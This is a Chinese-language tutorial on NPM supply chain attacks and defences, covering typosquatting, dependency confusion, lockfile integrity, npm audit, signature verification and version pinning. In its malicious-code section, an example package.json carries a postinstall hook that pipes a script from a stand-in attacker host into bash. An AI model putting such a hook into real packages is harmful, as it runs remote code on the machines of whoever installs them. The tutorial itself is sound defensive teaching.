NPM供应链攻击与防护
NPM生态的开放性使供应链攻击成为重大威胁,理解攻击手段并部署防护是工程安全的基本要求。
供应链攻击类型
Typosquatting(拼写仿冒)
攻击者发布与流行包名近似的恶意包,依赖开发者拼写错误:
Bash
# 正确包名 仿冒包名
lodash lodsh
express expres
cross-env crosss-env
JSON
# 安装时误输
npm install lodsh # 恶意包,可能窃取环境变量
包名仅差一个字母,肉眼难以辨识。安装前务必核对包名与 npm 页面。
依赖混淆(Dependency Confusion)
利用内部包名与公共包名冲突,攻击者在 npm 公共仓库发布同名包:
Bash
// 企业内部私有包
{
"dependencies": {
"@company/utils": "^1.0.0" // 内部 registry
}
}
// 攻击者在 npmjs.com 发布同名 @company/utils@9.0.0
// npm 默认优先公共 registry,拉取到恶意版本
企业必须配置
.npmrc的 scope 映射,确保内部包只从私有源拉取。
恶意代码注入
攻击者通过以下方式注入恶意代码:
JSON
# 1. 劫持维护者账号,直接篡改已发布包
# 2. 在 install 脚本中植入恶意命令
Bash
// 恶意 package.json
{
"name": "malicious-pkg",
"scripts": {
"postinstall": "curl https://evil.com/shell.sh | bash"
}
}
Bash
# 3. 依赖链投毒:通过间接依赖注入
# A -> B -> C(恶意)
postinstall/preinstall脚本以当前用户权限执行,可读写任意文件、窃取凭据。
星暴攻击(Starjacking)
攻击者将恶意包标记为流行包的"推荐"或"相似",利用 npm 搜索算法提升曝光:
JSON
# npm search 时恶意包排在靠前位置
# 攻击者还会伪造下载量
依赖完整性验证
integrity 字段校验
Bash
// package-lock.json 中的 integrity
{
"packages": {
"node_modules/lodash": {
"version": "4.17.21",
"integrity": "sha512-v3kCE3e9v2x8Pf6gH6JbA1e7x..."
}
}
}
integrity格式:sha512-<base64-hash>- NPM 安装时自动对比下载内容的 hash 与
integrity值 - 不匹配则安装失败,阻止被篡改的包进入项目
始终提交
package-lock.json到版本控制,它是完整性校验的基准。
npm audit 审计
Bash
# 执行安全审计
npm audit
# 查看详细漏洞信息
npm audit --json
# 自动修复
npm audit fix
# 强制修复(可能升级主版本)
npm audit fix --force
Bash
# CI 中集成审计,发现高危漏洞则构建失败
npm audit --audit-level=high
npm audit依赖 NPM 官方漏洞数据库,新漏洞存在上报延迟,不能作为唯一防线。
sigstore 签名验证
Bash
# npm v9+ 支持包签名验证
npm config set verify-signatures true
# 查看 npm 透明日志
npm query "#registry-signature"
NPM 与 sigstore 集成后,发布包时会生成签名,安装时可验证包来源真实性。
忽略脚本策略
JSON
# 全局禁用安装脚本
npm config set ignore-scripts true
# 单次安装时禁用
npm install --ignore-scripts
# 仅对可信包启用脚本(package.json)
{
"scripts": {
"postinstall": "node ./setup.js"
}
}
禁用脚本是最有效的恶意代码防护手段,但可能导致部分包功能异常,需按项目评估。
锁定依赖版本范围
精确版本锁定
Bash
// package.json 版本写法对比
{
"dependencies": {
"lodash": "^4.17.21", // 允许 4.17.22, 4.18.0 等
"express": "~4.18.2", // 允许 4.18.3, 4.18.4 等
"dayjs": "1.11.7" // 精确锁定,仅此版本
}
}
- 生产环境推荐精确版本或
~前缀,限制小版本更新 ^前缀允许次版本更新,有引入新行为风险
lock 文件不可变策略
Bash
# npm ci 严格按 lock 文件安装,忽略 package.json 的范围
npm ci
# 禁止 npm install 修改 lock 文件(CI 环境配置)
npm install --frozen-lockfile # Yarn
npm ci # NPM 等价
CI 流水线必须使用
npm ci,确保每次构建的依赖树完全一致。
npm shrinkwrap 封装依赖
Bash
# 生成 npm-shrinkwrap.json(比 lock 文件优先级更高)
npm shrinkwrap
# shrinkwrap.json 随包发布,下游安装时以此为准
npm-shrinkwrap.json会被发布到 npm,锁定下游依赖package-lock.json不会发布,仅影响当前项目
库项目慎用 shrinkwrap,会强制下游使用固定版本,可能导致依赖冲突。
限制可接受版本范围
JSON
# 配置最低/最高可接受版本
npm config set save-exact true # save 时使用精确版本
npm config set save-prefix "" # 版本前缀为空
# engines 字段限制 Node 版本
text
// package.json
{
"engines": {
"node": ">=18.0.0 <21.0.0"
},
"engine-strict": true
}
engine-strict: true在.npmrc中配合engine-strict=true使用,Node 版本不满足时安装失败。
要点总结
- 供应链攻击主要形式:Typosquatting(拼写仿冒)、依赖混淆、恶意 install 脚本、依赖链投毒
integrity字段是 NPM 内置的完整性防线,必须提交 lock 文件npm audit常态化执行,CI 中设置--audit-level=high阻断高危漏洞--ignore-scripts禁用安装脚本是最直接的恶意代码防护- 生产依赖使用精确版本或
~前缀,CI 必须用npm ci保证不可变安装 - 企业私有包必须配置 scope 映射到私有 registry,防止依赖混淆攻击